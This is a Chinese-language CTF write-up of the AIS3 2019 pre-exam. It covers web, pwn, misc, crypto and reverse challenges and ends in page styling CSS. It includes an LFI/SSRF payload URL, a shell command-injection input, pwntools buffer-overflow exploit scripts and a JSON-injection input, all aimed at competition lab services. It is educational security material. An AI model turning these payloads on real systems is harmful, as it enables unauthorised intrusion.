AIS3 2019 pre-exam Write-up
===
---
###### tags: `CTF` `AIS3`
本篇記錄一些我有解而且還記得怎解的題目
Github: https://github.com/LJP-TW/CTF

---
**目錄:**
[TOC]
# Web
> Web 我真D超菜的,棍。
Web 題目環境: https://github.com/djosix/AIS3-2019-Pre-Exam
## hidden
進來後 啥都沒有

反正就東找西找註解、Network、JS
就發現了一個 JS

整理一下,按下面那個大括號 `{}`

搜尋看看 Flag pattern,搜不到我再來慢慢看
`AIS3` 是沒搜到,但有搜到 `flag`

雖然一整個不是很懂,但是看到下面有一部分 code:
```javascript=
"epB2": [function(require, module, exports) {
"use strict";
var e = u(require("vue"))
, r = u(require("./App.vue"));
function u(e) {
return e && e.__esModule ? e : {
default: e
}
}
var t = new e.default({
el: "#app",
render: function(e) {
return e(r.default)
}
});
}
, {
"vue": "4673",
"./App.vue": "Js2s"
}]
```
我注意到最後的 `"./App.vue": "Js2s"` 然後又有以下 code:
```javascript=
"Js2s": [function(require, module, exports) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: !0
}),
exports.default = void 0;
var e = t(require("./flag.js"));
function t(e) {
return e && e.__esModule ? e : {
default: e
}
}
var r = {
created: function() {
this.text = (0,
e.default)()
}
};
exports.default = r;
(function() {
var e = exports.default || module.exports;
"function" == typeof e && (e = e.options),
Object.assign(e, {
render: function() {
var e = this.$createElement
, t = this._self._c || e;
return t("center", [t("h1", [this._v("Hidden")])])
},
staticRenderFns: [],
_compiled: !0,
_scopeId: null,
functional: void 0
});
}
)();
}
, {
"./flag.js": "nHHx"
}]
```
感覺就是對 `./App.vue` 怎樣後 會呼叫 `Js2s` 裡面的 function
~~欸欸我真的不知道 亂猜的~~
如果是同樣邏輯,那對 `./flag.js` 怎樣後 就會呼叫 `nHHx` 裡的 function
先找看看有沒有 `nHHx` 的定義
```javascript=
"nHHx": [function(require, module, exports) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: !0
}),
exports.default = void 0;
var r = function() {
return function() {
var r = Array.prototype.slice.call(arguments)
, t = r.shift();
return r.reverse().map(function(r, e) {
return String.fromCharCode(r - t - 25 - e)
}).join("")
}(12, 144, 165, 95, 167, 140, 95, 157, 94, 164, 91, 122, 111, 102) + 4..toString(36).toLowerCase() + 21..toString(36).toLowerCase().split("").map(function(r) {
return String.fromCharCode(r.charCodeAt() + -13)
}).join("") + 1234274547001..toString(36).toLowerCase() + 21..toString(36).toLowerCase().split("").map(function(r) {
return String.fromCharCode(r.charCodeAt() + -13)
}).join("") + 579..toString(36).toLowerCase() + function() {
var r = Array.prototype.slice.call(arguments)
, t = r.shift();
return r.reverse().map(function(r, e) {
return String.fromCharCode(r - t - 44 - e)
}).join("")
}(18, 190, 127, 170, 113)
};
exports.default = r;
}
, {}]
```
WOW 還真的有
執行看看裡面那個 r

就解完了
`FLAG: "AIS3{4r3_y0u_4_fr0n73nd_g33k?}"`
參考大神們的 Write-up 後,發現此題是用 Parcel 打包 Vue.js code
所以詳細的包法怎包,可以再往 Parcel 研ㄐㄧㄨˋ
## d1v1n6
~~雖然這題我沒解出來~~
進來後長醬子

Hint 告訴我們有LFI漏洞可以踹

用 php://filter/convert.base64-encode 來拿原始碼

解base64:

雖然我有看到一篇 Writeup 有整個 index.php,但我這邊只能拿到一點點
~~比賽當時我就卡在這了~~
~~然後亂挖 挖到/etc/hosts 知道了內網IP~~
~~不小心這題還沒解完就進到下一題了~~
再來用以下payload
`http://192.168.124.142:10103/?path=php://filter/convert.base64-encode/resource=http://127.55.66.87`
127.0.0.0/8 不論在 Windows 或在 Linux,預設路由都會往 127.0.0.1
想求證的話可以找找看 routing table 的 command 執行看看
~~這算是 SSRF 嗎~~
如此一來 現在我們的 target 就會往 127.0.0.1 發 request 而沒被以下 code 過濾掉
```php
if($ip == '127.0.0.1' || $ip == '0.0.0.0')
```
得到以下結果:

解碼

再 LFI 一次

`FLAG: AIS3{600d_j0b_bu7_7h15_15_n07_7h3_3nd}`
## d1v1n6_d33p3r
~~一樣沒解出來~~
在解上題的過程中,LFI 了 /etc/hosts

亂打辣個IP

噢噢原來 172.21.0.2 是自己啊
往旁邊東踩西踩

Woops,172.21.0.3 有一個 dir lister,挖到大秘寶
按了一下那個 List! button:

再回去 172.21.0.3 試試看 `dir` 這個參數

水,然後比賽當下我覺得應該有 Command Injection,
然後
~~就沒有然後了 卡住了~~
一樣看其他人 Writeup,辣個 Command 可能長這樣子
```
ls -l 'DIR參數在這呢'
```
塞成這樣看看哩
```
ls -l './';cat 'index.php'
```

`FLAG: AIS3{y0u_4r3_4bl3_70_d1v3_d33p3r_n3x7_71m3}`
# Pwn
## welcomeBof

gets 存放字串到 rbp-0x30
所以只要蓋過 0x30 bytes padding,8 bytes rbp,就能蓋到 ret address
在 local run 起來 test,執行 command
`ncat -kvl 5566 -c ./bof`

後面可以加個 `&` 讓指令在背景執行
再來看看有沒有怪怪的 function 能跳過去

看看那個嫌疑犯 welcome_to_ais3_2019:

OK,這個 function 能開個 shell,厲害了 跳過去不就好了
~~樹不知事情沒這麼簡單~~
寫寫 `exploit.py`
```python=
from pwn import *
r = remote('localhost', 5566)
padding = "a" * 0x38
ret = p64(0x0000000000400687)
r.sendline(padding + ret)
r.interactive()
```
run 看看


~~欸欸欸爆掉Why QQ~~
只好追一下哪裡死掉
在原本的 exploit 加一下 raw_input("pause") 來人工斷點一下
`exploit.py`:
```python=
from pwn import *
r = remote('localhost', 5566)
padding = "a" * 0x38
ret = p64(0x0000000000400687)
raw_input("pause")
r.sendline(padding + ret)
r.interactive()
```

另一個 terminal 下:
```
sudo gdb bof `pidof bof`
```

現在程式執行一半,下斷點在 0x400687
```
b *0x400687
```
讓程式繼續跑
```
c
```
此時運行 `python exploit.py` 讓他繼續

gdb:

一路逐步執行...
```
n
```
跟進 system@plt
```
s
```

最後死在這行
查一下 movaps 那是啥指令
參考 https://c9x.me/x86/html/file_module_x86_id_180.html
裡面寫了
> When the source or destination operand is a memory operand, the operand must be aligned on a 16-byte boundary or a general-protection exception (#GP) is generated.
此刻的 rsp+0x40 不會是剛好在 16-byte boundary 上,所以 exception 就產生了
我的作法是直接跳到 0x400688 而非 0x400687,閃過了一個 `push rbp` 剛好 rsp 會以 0 做結。
最後的 exploit:
```python=
from pwn import *
r = remote('localhost', 5566)
padding = "a" * 0x38
ret = p64(0x0000000000400688)
r.sendline(padding + ret)
r.interactive()
```
成功~
## orw

很好,用 gdb 打開根本沒看到 main 在哪
對於之前新手的我,這點有夠困擾,記錄一下
### 沒有 main 怎辦
這裡有兩個方式繼續 debug 它
1. 第一種方式套路如下:
1. 用 `ncat -kvl 5566 -c ./orw` 架設簡單 server
2. 寫個 `exploit.py` 中間自己加 `raw_input('waiting')` 人工斷點,並且 run 它
此時會創立一個 process,但由於腳本在等待輸入,導致整個 process 暫停在這邊
4. 用 sudo gdb 去 attach 這個 process
5. 接下來就可以**動態**逐步 debug 它啦~
2. 第二種方式套路如下:
用 `readelf -h orw` 看它進入點在哪邊

斷點直接設下去,**動態**觀察

雖然說其實也可以直接 IDA 開起來**靜態**觀察就好,但**動態**個人覺得比較好理解
### 繼續觀察破口在哪
一直追下去,前面很多都是前置作業
從 0x400898 開始 trace
0x4008af call 到 seccomp_init@plt,參數 edi 是 0
~~這裡可以先去餵狗 64bits call function 時參數是放哪~~
餵狗一下,發現如此會 ban 掉所有的 syscall
~~這裡可以先去餵狗 syscall~~
0x4008d3 0x4008f3 0x400913 的 seccomp_rule_add@plt
分別允許了編號為 2、0、1 的 syscall
參考 http://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/
分別就是 **Open** **Read** **Write** (還真的照 orw 順序排啊...)
接下來會 read 長度 0x100 的 input,放到 0x6010a0
緊接著呼叫了 gets,存放到 rbp-0x20 的地方,很明顯的是一個 Buffer Overflow
### 制定攻擊方案
一開始想法很直覺,就用 syscall open、read、write 組出
- 創了一個 fd 開啟 flag 檔案
- 把 flag 讀 fd 到某地址 A
- 用 write 把地址 A 內容寫到 socket fd
這個想法在我本機測是可以的,但是遠端一直不行,後來改成這樣
- 創了一個 fd 開啟 flag 檔案
- 把 flag 讀 fd 到某地址 A
- call puts 將 A 寫出來
### 實作
在第一次輸入時放了要開啟的 filename (/home/orw/flag) 跟 shellcode
實際 exploit 中 filename 加了一點 padding (其實就 1 byte) 讓 shellcode 地址比較漂亮 XD
第二次輸入當然就是 BOF,讓 ip 跳到剛剛 shellcode 的部分
**腳本在此:** https://github.com/LJP-TW/CTF/blob/master/AIS3-2019/pwn/orw/exploit.py
其實這題難在造出 shellcode
感謝這個網站
https://defuse.ca/online-x86-assembler.htm#disassembly2
寫組語就給你 shellcode,讚讚讚 ~~希望有天我能直接尻出 shellcode~~
但要組譯 `call 0x400700 <puts@plt>` ,這網站是也幫不上忙的
要自己去算 offset
可以參考
- https://c9x.me/x86/html/file_module_x86_id_26.html
- https://stackoverflow.com/questions/19365733/x86-encode-near-call-relative-offset
# Misc
## KcufsJ
JSfuck 題
將給的那一堆亂七八糟的東西整個反過來一下
複製貼上交給瀏覽器 console 執行一下就有了

不知道發生什麼事情的人可以估狗 JSfuck
## AreYouAdmin
官方給了一個 .rb https://github.com/LJP-TW/CTF/blob/master/AIS3-2019/misc/AreYouAdmin/main.rb
很明顯的就是要 injection 那 string,讓 JSON.parse parse 到 is_admin == "yes"
字串是長醬子
```ruby
string = "{\"name\":\"#{name}\",\"is_admin\":\"no\", \"age\":\"#{age}\"}"
```
輸入給這樣
```
name: LJP", "is_admin":"yes", "fuckoff":{"ha":"ha
age : 2"}, "1":"1
```
字串就會變這樣
```
{"name":"LJP", "is_admin":"yes", "fuckoff":{"ha":"ha", "is_admin":"no", "age":"2"}, "1":"1"}
```
done.
## CrystalMaze
程式題,DFS。
腳本: https://github.com/LJP-TW/CTF/blob/master/AIS3-2019/misc/CrystalMaze/goMazeFuck.py
看完別人這題的腳本的感想:
~~我程式真爛= =~~
# Crypto
> Crypto 我真D超菜的,棍。
## TCash
一言以蔽之: 暴力破解
詳細請見腳本: https://github.com/LJP-TW/CTF/blob/master/AIS3-2019/crypto/TCash/decrypt.py
# Reverse
> Reverse 的世界真的是毫無規則可言,想怎麼亂七八糟就怎麼亂七八糟。
>
## Trivial
丟到 IDA 看看

恩亨,scanf 讀了 60 個字,再 call sub_76A
看看 sub_76A

看到左下方的圖,超大三角形,原本以為會看到暈頭
其實每個 block 都只是簡單的判斷 string 而已
done.
## HolyGrenade
官方給了 .pyc 檔,跟一個 output
### 觀察
先用工具 decompile 回去 .py 檔
工具: https://github.com/rocky/python-uncompyle6

他長得很醜,整理一下

所以它執行流程是:
- for loop flag,每 4 個字做:
- 將這 4 個字轉成 bytes
- 將這堆 bytes 送到 md5 hash
- 將這堆 hash 轉成 16 進制的字串
- 送給 outputFunc
- 輸出
outputFunc:
- 每次讀 4 個字做:
- 第 0 個 改成 第 1 個
- 第 1 個 改成 第 3 個
- 第 2 個 改成 第 0 個
- 第 3 個 改成 第 2 個
知道做什麼事情後,就可以來寫腳本逆出 flag 了
### 開逆
腳本: https://github.com/LJP-TW/CTF/blob/master/AIS3-2019/reverse/HolyGrenade/decrypt.py
1. 首先先將所有 output 先經過 outputFunc 的反函數,求得正確的 md5
2. 因為知道一定是由 4 個字組成的 md5,所以選擇暴力破解每一條 md5
## TsaiBro
官方給了一個執行檔 TsaiBro,跟 flag.txt
簡單亂試就知道說,這題只是簡單的把某個 char 轉成某個 string output 出來

1 -> 發財.......發財.....
2 -> 發財.......發財......
3 -> 發財.......發財.......
就建立 char to string 的 map,再反過來翻譯 flag.txt 就好
## 0neWay
### 觀察
先隨便執行看看

---
丟到 IDA 看看

OK,讀 input
rbp + var_58 地址上的值一開始是 0
第一次 scanf 最長 4 個字,存到 rbp + s,字串長度會回存到 rbp + var_58
第二次 scanf 最長 2 個字,存到 rbp + s + (rbp+var_58)的值,字串長度會回存到 rbp + var_58
第三次 scanf 最長 20 個字,存到 rbp + s + (rbp+var_58)的值
所以這三次 input 的字串最終會串接在一起
---
繼續看

分別把
1. 三次輸入整體字串長度
2. 整體字串本身
3. 三次輸入整體字串長度
丟到 `hash` 這個 function
看一下 hash 這個 function

rbp+var_8 一開始存 0x1505
輸入一個字串,它會一個字元一個字元讀,讀到沒,每讀一個字:
- 將 rbp+var_8 存的值 * 33 後再加讀的字的 ascii code
最終回傳 rbp+var_8 存的值,就是 hash 值
---
回來看這張圖

在第一個 block 最下面,可以知道
長度拿去 hash 應該要是 0x2B5B9
長度不會太長,所以這部分是可以暴力破破看的,不過也是可以用算的
0X2B5B9 - 0x1505 * 33 = 20
所以三個輸入串一起長度應該是 20
第二個 block 的 hash 就太大了,會溢位掉,導致無法逆推只能暴力測試
想當然這個不是走暴力測試路線
我們姑且先往下看
---

如果剛剛第二個 block 通過了
會生成一張 flaggggg.jpg 出來
很直覺的就想到,是通過某種算法,把已存在在程序中的某段 bytes 轉成 jpg
那個算法最簡單可以是 xor

loc_AD7 是主要執行那個算法的 block
看完後,真的是 xor,太灀啦
簡單解釋一下 loc_AD7 這 block 做什麼
rbp+ptr 指著被加密的 bytes 區段
rbp+var_54 存著 index,現在處理到第幾個 byte,每進入一次 loc_AD7 block rbp+var_54 就 +1
rbp+var_58 存著整體字串 size
先除一下取餘數,得知要用整體字串的第幾個字拿來跟 rbp+ptr 做 xor
做完 xor 後存回 rbp+ptr
最後 call _fwrite 直接寫檔寫一個 byte
---
看到這裡,很明顯要做什麼了
key length 為 20,key 跟 bytes 會 xor 出 flaggggg.jpg
可以利用 jpg header 來反推 key
我的作法是就直接拿我電腦上的幾張 jpg 前半段的部分跟 bytes xor,看有沒有有意義的字串出現
### 開逆
首先當然要先萃取 bytes 區段出來
利用 gdb

找到 rbp+ptr 指哪

就是這些 bytes,複製起來
寫個腳本逆出 key: https://github.com/LJP-TW/CTF/blob/master/AIS3-2019/reverse/0neWay/reverse.py
再帶著這key執行程式

(雖然我電腦上的很多張 jpg header 都不太一樣,試了蠻多張的)
最後的 flaggggg.jpg 上面就會寫著 flag 了
---

後來看別人 write-up,發現其實不用這麼麻煩
因為 jpg 檔有一些部分都是 0x00,這部分跟 key xor 就還是 key
就直接 leak 出 key 是啥了
## MasterPiece
這次給的程式是 Windows exe,Linux 可以先關掉了
照慣例,先執行看看

~~噢噢噢噢可以畫畫~~
(看到一堆 qt 的東西,覺得不太妙...)

(: ...)
這個想必用 IDA 應該也沒屁用,用 x64dbg 動態 debug 一下

(打開了~)
剛剛按下去 `Is this flag` 那個 button 後,有跳一個錯誤視窗出來
內容是 `That is not the flag, that's your ugly ass`
搜尋這個字串

看看哪邊引用到這個字串

應該是有什麼 `if 錯` 才會進到這邊,再稍微往前看

有一堆 push,一臉就是 function 的開頭,這邊我下過斷點去測試看看了
的確按下 button 後就會執行這個區間
讀一下這個區間在幹嘛

又 call height 又 call width
裡面又有 call pixelColor 還有 == operator
感覺很像是 for 迴圈 對每個 pixel 做顏色判斷喔
ebx 存現在 width
esi 存現在 height
先往下看

發現會依序比對 r15 地址內的東西

往下拉會發現是一堆 1 跟 0
---
突然覺得,會不會是比對我畫的東西是不是 flag ??
那麼這些 1 跟 0 就是正確畫畫的答案
高度跟寬度透過程式 call 的 QImage::width 跟 QImage::height 得知是
0x28a 跟 0x19a (650 * 410) (看 call 完 function 後 rax 的值得知)
所以答案區應該要有 650 * 410 = 266500 bytes (0x41104)
答案區開始位置為 0x13FFEB000,所以結束位置應該是 0x13FFEB000 + 0x41104 = 0x14002C104

唉呦 的確 1 跟 0 的區域在 0x14002C104 後看起來是結束了
那把這堆 bytes 拉出來看看,並照著長寬 650 * 410 擺著看看哩?
選取,複製,儲存成檔案~ (有點大 要等一下)
然後寫個腳本: https://github.com/LJP-TW/CTF/blob/master/AIS3-2019/reverse/MasterPiece/toImg.py
懶得再查 PIL 怎用,直接輸出成 txt 然後...

縮小看 XDDDD
done.
<style>
/* fix mathjax rwd scroll
* #Research-direction > simple model
*/
ul > li > .mathjax {
width: 100%;
overflow-x: scroll;
overflow-wrap: break-word;
display: inline-block;
}
/* Dark mode */
/* <!-- todo: fix highlight.js blocks; some code blocks do not render correctly --> */
body {
background-color: #23272a !important;
}
.ui-view-area {
background: #23272a;
color: #ddd;
}
.ui-toc-dropdown {
background-color: #23272A;
border: 1px solid rgba(255,255,255,.15);
box-shadow: 0 6px 12px rgba(255,255,255,.175);
}
.ui-toc-dropdown .nav > li > a {
color: #ccc;
}
.ui-toc-dropdown .nav > .active:focus > a,
.ui-toc-dropdown .nav > .active:hover > a,
.ui-toc-dropdown .nav > .active > a {
color: #bbb;
}
.ui-toc .open .ui-toc-label {
color: #777;
}
table * {
background-color: #424242;
color: #c0c0c0
}
button,
a {
color: #64B5F6;
}
a:hover,
a:focus {
color: #2196F3;
}
a.disable,
a.disable:hover {
color: #EEEEEE;
}
/* Dark mode code block */
/* Imported from titangene/hackmd-dark-theme */
.markdown-body pre {
background-color: #1e1e1e;
border: 1px solid #555 !important;
color: #dfdfdf;
font-weight: 600;
}
.token.operator, .token.entity,
.token.url, .language-css .token.string,
.style .token.string {
background: unset;
}
/* Dark mode alert boxes */
.alert-info {
color: #f3fdff;
background: #40788A;
border-color: #2F7A95;
}
.alert-warning {
color: #fffaf2;
background: #936C36;
border-color: #AE8443;
}
.alert-danger {
color: #fff4f4;
background: #834040;
border-color: #8C2F2F
}
.alert-success {
color: #F4FFF2;
background-color: #436643;
border-color: #358A28;
}
/* Stylized alert boxes */
.alert-danger>p::before {
content: "❌ Dangerous\A";
}
.alert-warning>p::before {
content: "⚠ Warning\A";
}
.alert-info>p::before {
content: "ℹ Information\A";
}
.alert-warning>p::before,
.alert-danger>p::before,
.alert-info>p::before {
white-space: pre;
font-weight: bold;
}
</style>
<style>
/*
* Visual Studio 2015 dark style
* Author: Nicolas LLOBERA <nllobera@gmail.com>
*/
.hljs {
display: block;
overflow-x: auto;
padding: 0.5em;
background: #1E1E1E;
color: #DCDCDC;
}
.hljs-keyword,
.hljs-literal,
.hljs-symbol,
.hljs-name {
color: #569CD6;
}
.hljs-link {
color: #569CD6;
text-decoration: underline;
}
.hljs-built_in,
.hljs-type {
color: #4EC9B0;
}
.hljs-number,
.hljs-class {
color: #B8D7A3;
}
.hljs-string,
.hljs-meta-string {
color: #D69D85;
}
.hljs-regexp,
.hljs-template-tag {
color: #9A5334;
}
.hljs-subst,
.hljs-function,
.hljs-title,
.hljs-params,
.hljs-formula {
color: #DCDCDC;
}
.hljs-comment,
.hljs-quote {
color: #57A64A;
font-style: italic;
}
.hljs-doctag {
color: #608B4E;
}
.hljs-meta,
.hljs-meta-keyword,
.hljs-tag {
color: #9B9B9B;
}
.hljs-variable,
.hljs-template-variable {
color: #BD63C5;
}
.hljs-attr,
.hljs-attribute,
.hljs-builtin-name {
color: #9CDCFE;
}
.hljs-section {
color: gold;
}
.hljs-emphasis {
font-style: italic;
}
.hljs-strong {
font-weight: bold;
}
/*.hljs-code {
font-family:'Monospace';
}*/
.hljs-bullet,
.hljs-selector-tag,
.hljs-selector-id,
.hljs-selector-class,
.hljs-selector-attr,
.hljs-selector-pseudo {
color: #D7BA7D;
}
.hljs-addition {
background-color: #144212;
display: inline-block;
width: 100%;
}
.hljs-deletion {
background-color: #600;
display: inline-block;
width: 100%;
}
</style>